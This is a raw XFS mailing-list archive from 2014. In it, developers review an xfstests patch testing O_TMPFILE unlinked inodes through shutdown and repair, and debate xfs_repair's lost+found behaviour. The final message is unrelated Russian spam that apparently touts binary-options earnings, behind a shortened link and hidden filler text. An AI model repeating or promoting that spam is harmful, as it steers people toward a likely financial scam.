AgYHALg5FlN5LJYe/2dsb2JhbABagwa8PIVXgR8XdIIlAQEBAwE6HCMFCwgDDgoJJQ8FJQMhE4YdgVQHzU4XFo47B4Q4BI5HiXSKVYdXg0EogSw Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 05 Mar 2014 07:09:41 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKw7b-0008CR-Po; Wed, 05 Mar 2014 07:39:27 +1100 Date: Wed, 5 Mar 2014 07:39:27 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, Zhi Yong Wu Subject: Re: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE Message-ID: <20140304203927.GG6851@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE References: <20140304172103.GA24528@infradead.org> <20140304172148.GC24528@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304172148.GC24528@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393965582 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Mar 04, 2014 at 09:21:48AM -0800, Christoph Hellwig wrote: > Make sure that we see unlinked inodes when shutting a filesystem > down that has an open O_TMPFILE descriptor, and make sure that it > has been deleted after a mount/umount cycle. > > Signed-off-by: Christoph Hellwig > > diff --git a/tests/xfs/006 b/tests/xfs/006 > new file mode 100755 > index 0000000..6be8418 > --- /dev/null > +++ b/tests/xfs/006 > @@ -0,0 +1,86 @@ > +#! /bin/bash > +# XFS QA Test No. 006 > +# > +# Test O_TMPFILE interaction with log recovery and repair. > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Christoph Hellwig. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* > + rm -f ${testfile} > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > +. ./common/repair > + > +# real QA test starts here > +_supported_fs generic XFS only. > +_supported_os Linux > + > +_require_scratch > +#_require_xfs_io_falloc_flink > + > +testfile="${SCRATCH_MNT}/tst-tmpfile-flink" > + > +_scratch_mount > + > +# test creating a r/w tmpfile, do I/O and link it into the namespace > +$XFS_IO_PROG -x -T \ > + -c "pwrite 0 4096" \ > + -c "pread 0 4096" \ > + -c "freeze" \ > + -c "thaw" \ > + -c "shutdown" \ > + ${SCRATCH_MNT} | _filter_xfs_io $testfile? Also, I don't see the file being linked into the namespace, so the comment is probably wrong. Also, please add a comment as to why the freeze/thaw is necessary. > +# repair should find an unlinked inode and an incorrect icount > +_scratch_xfs_repair -n 2>&1 | \ > + _filter_repair > $tmp.repair > + > +ino=`grep 'disconnected inode ' $tmp.repair | \ > + head -1 | \ > + awk '{print $3}' | \ > + sed 's/,//'` > + > +cat $tmp.repair | sed "s/$ino/XXX/g" Ok, so we should see that line in the golden output... .... > diff --git a/tests/xfs/006.out b/tests/xfs/006.out > new file mode 100644 > index 0000000..46f3b73 > --- /dev/null > +++ b/tests/xfs/006.out > @@ -0,0 +1,43 @@ > +QA output created by 006 > +wrote 4096/4096 bytes at offset 0 > +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) > +read 4096/4096 bytes at offset 0 > +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) > +Phase 1 - find and verify superblock... > +Phase 2 - using log > + - scan filesystem freespace and inode maps... > + - found root inode chunk > +Phase 3 - for each AG... > + - scan (but don't clear) agi unlinked lists... > + - process known inodes and perform inode discovery... > + - process newly discovered inodes... > +Phase 4 - check for duplicate blocks... > + - setting up duplicate extent list... > + - check for inodes claiming duplicate blocks... > +No modify flag set, skipping phase 5 > +Phase 6 - check inode connectivity... > + - traversing filesystem ... > + - traversal finished ... > + - moving disconnected inodes to lost+found ... > +disconnected inode XXX, would move to lost+found There it is, but is moving it to lost+found the right thing to do, given that it was on the unlinked list and should have had a zero link count? i.e. aren't we supposed to free unlinked inodes with a zero link count, not recover them to lost+found? > +Phase 7 - verify link counts... > +would have reset inode XXX nlinks from 0 to 1 Yeah, that seems like the wrong behaviour to have for an anonymous O_TMPFILE file - it's making it visible because we moved it to lost+found in phase 6.... Also, I don't see any icount mismatch, so the comment above in the test is probably wrong. > diff --git a/tests/xfs/group b/tests/xfs/group > index ba34650..2f896e1 100644 > --- a/tests/xfs/group > +++ b/tests/xfs/group > @@ -3,6 +3,7 @@ > 003 db auto quick > 004 db auto quick > 005 auto quick > +006 auto quick and repair. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 4 15:04:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F145F7F4E for ; Tue, 4 Mar 2014 15:04:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C13FAC001 for ; Tue, 4 Mar 2014 13:04:25 -0800 (PST) X-ASG-Debug-ID: 1393967059-04cbb054b866ac0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 9KbK3Kq1RQnnXk8f (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 13:04:20 -0800 (PST) X-Barracuda-Envelope-From: BATV+3fa895667d296d67fb80+3845+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WKwVd-00030f-V2; Tue, 04 Mar 2014 21:04:17 +0000 Date: Tue, 4 Mar 2014 13:04:17 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE Message-ID: <20140304210417.GA10628@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] xfs: add a test for unlinked inodes due to O_TMPFILE References: <20140304172103.GA24528@infradead.org> <20140304172148.GC24528@infradead.org> <20140304203927.GG6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304203927.GG6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1393967060 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3595 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Mar 05, 2014 at 07:39:27AM +1100, Dave Chinner wrote: > > +_supported_fs generic > > XFS only. Hmm. I remember fixing this up, but for some reason it didn't make it into the final patch. > > +# test creating a r/w tmpfile, do I/O and link it into the namespace > > +$XFS_IO_PROG -x -T \ > > + -c "pwrite 0 4096" \ > > + -c "pread 0 4096" \ > > + -c "freeze" \ > > + -c "thaw" \ > > + -c "shutdown" \ > > + ${SCRATCH_MNT} | _filter_xfs_io > > $testfile? No, O_TMPFILE doesn't take an actual file name but a "virtual" parent directory. It's a reall creative abuse of the open ABI.. > Also, I don't see the file being linked into the namespace, so the > comment is probably wrong. Also, please add a comment as to > why the freeze/thaw is necessary. Yes, we don't want to link it so that we have it on the unlinke dinode list. The freeze/thaw is to make sure the log has been cleaned, I'll add a comment explaining it. > There it is, but is moving it to lost+found the right thing to do, > given that it was on the unlinked list and should have had a zero > link count? i.e. aren't we supposed to free unlinked inodes with a > zero link count, not recover them to lost+found? > Yeah, that seems like the wrong behaviour to have for an anonymous > O_TMPFILE file - it's making it visible because we moved it to > lost+found in phase 6.... Good question. I thought about this a little and decided that it wasn't worth special casing O_TMPFILE inodes in repair, but thinking about it a bit more this also happens for normal unlinked but open files. I can look into this if you want, and would create another test for that case. > > Also, I don't see any icount mismatch, so the comment above in the > test is probably wrong. We do have an icount mismatch, but _filter_repair filters it away. From hoteldelaescalon@integra.com.sv Tue Mar 4 15:08:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 059697F4E for ; Tue, 4 Mar 2014 15:08:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B839F8F8089 for ; Tue, 4 Mar 2014 13:08:43 -0800 (PST) X-ASG-Debug-ID: 1393967319-04bdf05dac278e30001-NocioJ Received: from mail.integra.com.sv (mail.integra.com.sv [200.13.161.5]) by cuda.sgi.com with ESMTP id Wv6ZCpCRPcf4Y6nt (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Mar 2014 13:08:40 -0800 (PST) X-Barracuda-Envelope-From: hoteldelaescalon@integra.com.sv X-Barracuda-Apparent-Source-IP: 200.13.161.5 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.integra.com.sv (Postfix) with ESMTP id 2AC8559F1F2 for ; Tue, 4 Mar 2014 20:20:55 +0000 (UTC) X-Virus-Scanned: amavisd-new at integra.com.sv Received: from mail.integra.com.sv ([127.0.0.1]) by localhost (mail.integra.com.sv [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id aiIqC-3melKO for ; Tue, 4 Mar 2014 20:20:54 +0000 (UTC) Received: from xbzucf (168.subnet-72-18-98.ellijay.com [72.18.98.168]) by mail.integra.com.sv (Postfix) with ESMTPA id 55B9D5AA552 for ; Tue, 4 Mar 2014 20:20:51 +0000 (UTC) Message-ID: From: "Alvaro Liddell" To: "xfs" Subject: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDn4Oru6+7y6PL8?= =?windows-1251?B?IO3gIOHo7eDw7fv1IO7v9uju7eD1ISEsIPr9?= =?windows-1251?B?/dDv7g==?= Date: Wed, 5 Mar 2014 03:24:23 +0600 X-ASG-Orig-Subj: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDn4Oru6+7y6PL8?= =?windows-1251?B?IO3gIOHo7eDw7fv1IO7v9uju7eD1ISEsIPr9?= =?windows-1251?B?/dDv7g==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_05E4_01CF3822.675D6050" X-Priority: 3 X-Barracuda-Connect: mail.integra.com.sv[200.13.161.5] X-Barracuda-Start-Time: 1393967320 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_INVIS_TEXT_1K, BSF_SC0_TG035a, BSF_SC0_TG163d, HTML_FONT_LOW_CONTRAST, HTML_MESSAGE, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3595 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.00 BSF_SC0_INVIS_TEXT_1K Custom Rule BSF_SC0_INVIS_TEXT_1K 0.50 BSF_SC0_TG163d Custom Rule TG163d This is a multi-part message in MIME format. ------=_NextPart_000_05E4_01CF3822.675D6050 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =ED=E0=F0=E0=E1=EE=F2=E0=F2=FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8= =EE=ED=E0=F5 =D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE=F1=F2=E8... http://goo.gl/CkdZp4=20 - =C8 =ED=E5 =EF=EE=E4=F3=EC=E0=FE=85=20 - =C4=F3=EC=E0=E5=F8=FC, =FD=F2=EE =ED=E5 =E1=F0=E5=E4=EE=E2=FB=E5 =EC=FB= =F1=EB=E8? - =F3=F2=EE=F7=ED=E8=EB=E0 =FF, =E2=F1=E5 =E5=F9=E5 =EF=F0=EE=E4= =EE=EB=E6=E0=FF =F1=EE=EC=ED=E5=E2=E0=F2=FC=F1=FF.=20 =CF=E0=F0=E5=ED=FC =E2=FB=F0=E0=E7=E8=EB =EA=F0=E0=E9=ED=FE=FE =F1=F2=E5=EF= =E5=ED=FC =E7=E0=E4=F3=EC=F7=E8=E2=EE=F1=F2=E8, =E2=FB=E8=F1=EA=E8=E2=E0=FF= =E2 =E7=E0=EA=F0=EE=EC=E0=F5 =F1=E2=EE=E5=E9 =ED=E5=E4=E0=EB=E5=EA=EE=E9= =EF=E0=EC=FF=F2=E8 =F1=EE=EE=F2=E2=E5=F2=F1=F2=E2=F3=FE=F9=E8=E9 =F1=EA=E0= =E7=EE=F7=ED=EE=EC=F3 =F1=F2=E0=ED=E4=E0=F0=F2=F3 =EE=F2=E2=E5=F2, =ED=EE= =ED=E5 =ED=E0=F8=E5=EB =E8 =EF=EE=E4=ED=FF=EB =ED=E0 =EC=E5=ED=FF =EE=E7= =E0=E4=E0=F7=E5=ED=ED=FB=E9 =E2=E7=E3=EB=FF=E4:=20 - =CD=EE =EF=EE=F7=E5=EC=F3?! =DF =E7=ED=E0=FE, =F7=F2=EE =FD=F2=EE =F2=E0= =EA=EE=E5=85=20 =CE=E4=ED=E0=EA=EE =EF=EE=EA=F0=E0=F1=ED=E5=E2=F8=E8=E5 =E3=EB=E0=E7=E0 =E7= =E0=F1=F2=E0=E2=E8=EB=E8 =EC=E5=ED=FF =F3=F1=EE=EC=ED=E8=F2=FC=F1=FF =E2 = =E5=E3=EE =F7=E5=F1=F2=ED=EE=F1=F2=E8.=20 - =C4=E5=E9=F1=F2=E2=E8=F2=E5=EB=FC=ED=EE, =ED=E8=F7=E5=E3=EE =ED=E5 =F7=F3= =E2=F1=F2=E2=F3=FE, - =EF=EE=E6=E0=EB =EE=ED =EF=EB=E5=F7=E0=EC=E8. - =CC= =EE=E6=E5=F2, =EE=ED=E8 =ED=E0=EF=F3=F2=E0=EB=E8 =F7=E5=E3=EE? =C2 =F2=E0= =EA=EE=E9 =ED=E5=F0=E0=E7=E1=E5=F0=E8=F5=E5, =EA=E0=EA=E0=FF =F1=E5=E9=F7= =E0=F1 =E2 =F1=F2=EE=EB=E8=F6=E5 =F2=E2=EE=F0=E8=F2=F1=FF, =FD=F2=EE =F1=EE= =E2=F1=E5=EC =ED=E5=F3=E4=E8=E2=E8=F2=E5=EB=FC=ED=EE.=20 - =C8 =E4=EE =EA=E0=EA=E8=F5 =EF=EE=F0 =F2=FB =E1=F3=E4=E5=F8=FC =EC=E5=ED= =FF =F2=F3=F2 =F2=E5=F0=EF=E5=F2=FC? - =CC=EE=FF =F1=F3=E4=FC=E1=E0 =E5=F9= =E5 =EF=F0=EE=E4=EE=EB=E6=E0=EB=E0 =EC=E5=ED=FF =E2=EE=EB=ED=EE=E2=E0=F2=FC= , =F5=EE=F2=FF =EF=EE=E4=E3=E0=E4=E8=EB=E0 =EE=ED=E0 =EC=ED=E5 =E8=E7=F0=FF= =E4=ED=EE.=20 =D1=EA=E0=E7=E0=F2=FC, =F7=F2=EE =FF =E8=F1=EF=F3=E3=E0=EB=E0=F1=FC, - =FD= =F2=EE =ED=E8=F7=E5=E3=EE =ED=E5 =F1=EA=E0=E7=E0=F2=FC. =C2=ED=F3=F2=F0=E8= =EF=EE=F5=EE=EB=EE=E4=E5=EB=EE =F2=E0=EA, =F7=F2=EE =E2=EF=EE=F0=F3 =EC=FF= =F1=EE =E7=E0=EC=EE=F0=E0=E6=E8=E2=E0=F2=FC. =C2=F1=E5 =EC=FB=F8=F6=FB =F1= =EA=EE=E2=E0=EB=EE =F1=F2=F0=E0=ED=ED=EE=E9 =F1=F3=E4=EE=F0=EE=E3=EE=E9, = =E0 =ED=E0 =EB=E1=F3 =E2=FB=F1=F2=F3=EF=E8=EB=E8 =EF=F0=E5=E4=E0=F2=E5=EB= =FC=F1=EA=E8=E5 =EA=E0=EF=E5=EB=FC=EA=E8 =EF=EE=F2=E0. =D3 =EC=E5=ED=FF =E2= =EE=E7=ED=E8=EA=EB=EE =EE=F9=F3=F9=E5=ED=E8=E5, =EA=E0=EA =F3 =EB=E8=F1=FB= , =EF=F0=EE=EA=F0=E0=E2=F8=E5=E9=F1=FF =E2 =EA=F3=F0=FF=F2=ED=E8=EA =E2 =F2= =EE=F2 =EC=EE=EC=E5=ED=F2, =EA=EE=E3=E4=E0 =F2=F3=E4=E0 =E7=E0=F5=EE=E4=E8= =F2 =EE=F5=EE=F2=ED=E8=EA =F1 =F0=F3=E6=FC=E5=EC. =D7=F3=E2=F1=F2=E2=EE =EE= =F2=E2=F0=E0=F2=E8=F2=E5=EB=FC=ED=EE=E5 - =E5=F9=E5 =ED=E8=F7=E5=E3=EE =ED= =E5 =F3=EA=F0=E0=EB=E0, =ED=EE =ED=E5=EF=F0=E8=FF=F2=ED=EE=F1=F2=FC=FE =F3= =E6=E5 =E7=E0 =E2=E5=F0=F1=F2=F3 =F0=E0=E7=E8=F2. =C0 =E7=ED=E0=FF =F1=E5= =E1=FF, =FF =EC=EE=E3=EB=E0 =F1 =F2=E2=E5=F0=E4=EE=E9 =F3=E2=E5=F0=E5=ED=ED= =EE=F1=F2=FC=FE =F1=EA=E0=E7=E0=F2=FC, =F7=F2=EE =EA=F2=EE =E1=FB =ED=E8 = =F1=F2=EE=FF=EB =F1=E5=E9=F7=E0=F1 =E7=E0 =EC=EE=E5=E9 =F1=EF=E8=ED=EE=E9= , =F5=EE=F2=FC =F1=E0=EC=E0=FF =ED=E5=E2=E8=ED=ED=E0=FF =EE=E2=E5=F7=EA=E0= =E2 =EC=E8=F0=E5, =E0 =ED=E5=EF=F0=E8=FF=F2=ED=EE=F1=F2=E5=E9 =EC=ED=E5 = =ED=E5 =E8=E7=E1=E5=E6=E0=F2=FC. =C8 =FF =E7=E0=F0=E0=ED=E5=E5 =E1=FB=EB=E0= =EF=F0=EE=F2=E8=E2!=20 =CA=E0=F8=E5=E9 =F2=E5=EC =E2=F0=E5=EC=E5=ED=E5=EC =EF=EE=E2=EE=E7=E8=EB=F1= =FF =E2=EE=E7=EB=E5 =EA=E0=EC=E8=ED=E0 =E8, =EF=EE=E2=E5=F0=ED=F3=E2=F8=E8= =F1=FC =EA=EE =EC=ED=E5, =EF=F0=EE=F2=FF=ED=F3=EB =EF=F3=E7=E0=F2=FB=E9 =E1= =EE=EA=E0=EB =F1 =EA=F0=E0=F1=ED=EE=E9 =E6=E8=E4=EA=EE=F1=F2=FC=FE.=20 - =C0 =EE=E4=E5=F2=FC=F1=FF =EC=ED=E5 =F1=ED=E0=F7=E0=EB=E0 =EC=EE=E6=ED=EE= =E8=EB=E8 =FD=F2=EE =ED=E5=EE=E1=FF=E7=E0=F2=E5=EB=FC=ED=E0=FF =F7=E0=F1= =F2=FC =EF=F0=EE=E3=F0=E0=EC=EC=FB? ------=_NextPart_000_05E4_01CF3822.675D6050 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=ED=E0=F0=E0=E1=EE=F2=E0=F2= =FC =ED=E0 =E1=E8=ED=E0=F0=ED=FB=F5 =EE=EF=F6=E8=EE=ED=E0=F5
=D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE= =F1=F2=E8...
 
 
- =C8 =ED=E5 =EF=EE=E4=F3= =EC=E0=FE=85=20
- =C4=F3=EC=E0=E5=F8=FC,= =FD=F2=EE =ED=E5 =E1=F0=E5=E4=EE=E2=FB=E5 =EC=FB=F1=EB=E8? - =F3=F2=EE=F7= =ED=E8=EB=E0 =FF, =E2=F1=E5 =E5=F9=E5 =EF=F0=EE=E4=EE=EB=E6=E0=FF =F1=EE=EC= =ED=E5=E2=E0=F2=FC=F1=FF.=20
=CF=E0=F0=E5=ED=FC =E2=FB= =F0=E0=E7=E8=EB =EA=F0=E0=E9=ED=FE=FE =F1=F2=E5=EF=E5=ED=FC =E7=E0=E4=F3=EC= =F7=E8=E2=EE=F1=F2=E8, =E2=FB=E8=F1=EA=E8=E2=E0=FF =E2 =E7=E0=EA=F0=EE=EC= =E0=F5 =F1=E2=EE=E5=E9 =ED=E5=E4=E0=EB=E5=EA=EE=E9 =EF=E0=EC=FF=F2=E8 =F1= =EE=EE=F2=E2=E5=F2=F1=F2=E2=F3=FE=F9=E8=E9 =F1=EA=E0=E7=EE=F7=ED=EE=EC=F3= =F1=F2=E0=ED=E4=E0=F0=F2=F3 =EE=F2=E2=E5=F2, =ED=EE =ED=E5 =ED=E0=F8=E5=EB= =E8 =EF=EE=E4=ED=FF=EB =ED=E0 =EC=E5=ED=FF =EE=E7=E0=E4=E0=F7=E5=ED=ED=FB= =E9 =E2=E7=E3=EB=FF=E4:=20
- =CD=EE =EF=EE=F7=E5=EC= =F3?! =DF =E7=ED=E0=FE, =F7=F2=EE =FD=F2=EE =F2=E0=EA=EE=E5=85=20
=CE=E4=ED=E0=EA=EE =EF=EE= =EA=F0=E0=F1=ED=E5=E2=F8=E8=E5 =E3=EB=E0=E7=E0 =E7=E0=F1=F2=E0=E2=E8=EB=E8= =EC=E5=ED=FF =F3=F1=EE=EC=ED=E8=F2=FC=F1=FF =E2 =E5=E3=EE =F7=E5=F1=F2=ED= =EE=F1=F2=E8.=20
- =C4=E5=E9=F1=F2=E2=E8=F2= =E5=EB=FC=ED=EE, =ED=E8=F7=E5=E3=EE =ED=E5 =F7=F3=E2=F1=F2=E2=F3=FE, - =EF= =EE=E6=E0=EB =EE=ED =EF=EB=E5=F7=E0=EC=E8. - =CC=EE=E6=E5=F2, =EE=ED=E8 =ED= =E0=EF=F3=F2=E0=EB=E8 =F7=E5=E3=EE? =C2 =F2=E0=EA=EE=E9 =ED=E5=F0=E0=E7=E1= =E5=F0=E8=F5=E5, =EA=E0=EA=E0=FF =F1=E5=E9=F7=E0=F1 =E2 =F1=F2=EE=EB=E8=F6= =E5 =F2=E2=EE=F0=E8=F2=F1=FF, =FD=F2=EE =F1=EE=E2=F1=E5=EC =ED=E5=F3=E4=E8= =E2=E8=F2=E5=EB=FC=ED=EE.=20
- =C8 =E4=EE =EA=E0=EA=E8= =F5 =EF=EE=F0 =F2=FB =E1=F3=E4=E5=F8=FC =EC=E5=ED=FF =F2=F3=F2 =F2=E5=F0=EF= =E5=F2=FC? - =CC=EE=FF =F1=F3=E4=FC=E1=E0 =E5=F9=E5 =EF=F0=EE=E4=EE=EB=E6= =E0=EB=E0 =EC=E5=ED=FF =E2=EE=EB=ED=EE=E2=E0=F2=FC, =F5=EE=F2=FF =EF=EE=E4= =E3=E0=E4=E8=EB=E0 =EE=ED=E0 =EC=ED=E5 =E8=E7=F0=FF=E4=ED=EE.=20
=D1=EA=E0=E7=E0=F2=FC, =F7= =F2=EE =FF =E8=F1=EF=F3=E3=E0=EB=E0=F1=FC, - =FD=F2=EE =ED=E8=F7=E5=E3=EE= =ED=E5 =F1=EA=E0=E7=E0=F2=FC. =C2=ED=F3=F2=F0=E8 =EF=EE=F5=EE=EB=EE=E4=E5= =EB=EE =F2=E0=EA, =F7=F2=EE =E2=EF=EE=F0=F3 =EC=FF=F1=EE =E7=E0=EC=EE=F0=E0= =E6=E8=E2=E0=F2=FC. =C2=F1=E5 =EC=FB=F8=F6=FB =F1=EA=EE=E2=E0=EB=EE =F1=F2= =F0=E0=ED=ED=EE=E9 =F1=F3=E4=EE=F0=EE=E3=EE=E9, =E0 =ED=E0 =EB=E1=F3 =E2=FB= =F1=F2=F3=EF=E8=EB=E8 =EF=F0=E5=E4=E0=F2=E5=EB=FC=F1=EA=E8=E5 =EA=E0=EF=E5= =EB=FC=EA=E8 =EF=EE=F2=E0. =D3 =EC=E5=ED=FF =E2=EE=E7=ED=E8=EA=EB=EE =EE=F9= =F3=F9=E5=ED=E8=E5, =EA=E0=EA =F3 =EB=E8=F1=FB, =EF=F0=EE=EA=F0=E0=E2=F8=E5= =E9=F1=FF =E2 =EA=F3=F0=FF=F2=ED=E8=EA =E2 =F2=EE=F2 =EC=EE=EC=E5=ED=F2, = =EA=EE=E3=E4=E0 =F2=F3=E4=E0 =E7=E0=F5=EE=E4=E8=F2 =EE=F5=EE=F2=ED=E8=EA = =F1 =F0=F3=E6=FC=E5=EC. =D7=F3=E2=F1=F2=E2=EE =EE=F2=E2=F0=E0=F2=E8=F2=E5= =EB=FC=ED=EE=E5 - =E5=F9=E5 =ED=E8=F7=E5=E3=EE =ED=E5 =F3=EA=F0=E0=EB=E0,= =ED=EE =ED=E5=EF=F0=E8=FF=F2=ED=EE=F1=F2=FC=FE =F3=E6=E5 =E7=E0 =E2=E5=F0= =F1=F2=F3 =F0=E0=E7=E8=F2. =C0 =E7=ED=E0=FF =F1=E5=E1=FF, =FF =EC=EE=E3=EB= =E0 =F1 =F2=E2=E5=F0=E4=EE=E9 =F3=E2=E5=F0=E5=ED=ED=EE=F1=F2=FC=FE =F1=EA= =E0=E7=E0=F2=FC, =F7=F2=EE =EA=F2=EE =E1=FB =ED=E8 =F1=F2=EE=FF=EB =F1=E5= =E9=F7=E0=F1 =E7=E0 =EC=EE=E5=E9 =F1=EF=E8=ED=EE=E9, =F5=EE=F2=FC =F1=E0=EC= =E0=FF =ED=E5=E2=E8=ED=ED=E0=FF =EE=E2=E5=F7=EA=E0 =E2 =EC=E8=F0=E5, =E0 = =ED=E5=EF=F0=E8=FF=F2=ED=EE=F1=F2=E5=E9 =EC=ED=E5 =ED=E5 =E8=E7=E1=E5=E6=E0= =F2=FC. =C8 =FF =E7=E0=F0=E0=ED=E5=E5 =E1=FB=EB=E0 =EF=F0=EE=F2=E8=E2!=20
=CA=E0=F8=E5=E9 =F2=E5=EC= =E2=F0=E5=EC=E5=ED=E5=EC =EF=EE=E2=EE=E7=E8=EB=F1=FF =E2=EE=E7=EB=E5 =EA= =E0=EC=E8=ED=E0 =E8, =EF=EE=E2=E5=F0=ED=F3=E2=F8=E8=F1=FC =EA=EE =EC=ED=E5= , =EF=F0=EE=F2=FF=ED=F3=EB =EF=F3=E7=E0=F2=FB=E9 =E1=EE=EA=E0=EB =F1 =EA=F0= =E0=F1=ED=EE=E9 =E6=E8=E4=EA=EE=F1=F2=FC=FE.=20
- =C0 =EE=E4=E5=F2=FC=F1= =FF =EC=ED=E5 =F1=ED=E0=F7=E0=EB=E0 =EC=EE=E6=ED=EE =E8=EB=E8 =FD=F2=EE =ED= =E5=EE=E1=FF=E7=E0=F2=E5=EB=FC=ED=E0=FF =F7=E0=F1=F2=FC =EF=F0=EE=E3=F0=E0= =EC=EC=FB?=20
- =CD=F3 =E8 =E7=F0=FF. =C1=F3=E4=F3 =F2=EE=E3=E4=E0 =E1=E5=E7 =F2= =E5=E1=FF =EF=EE=E4=E2=E8=E3=E8 =F1=EE=E2=E5=F0=F8=E0=F2=FC.
=
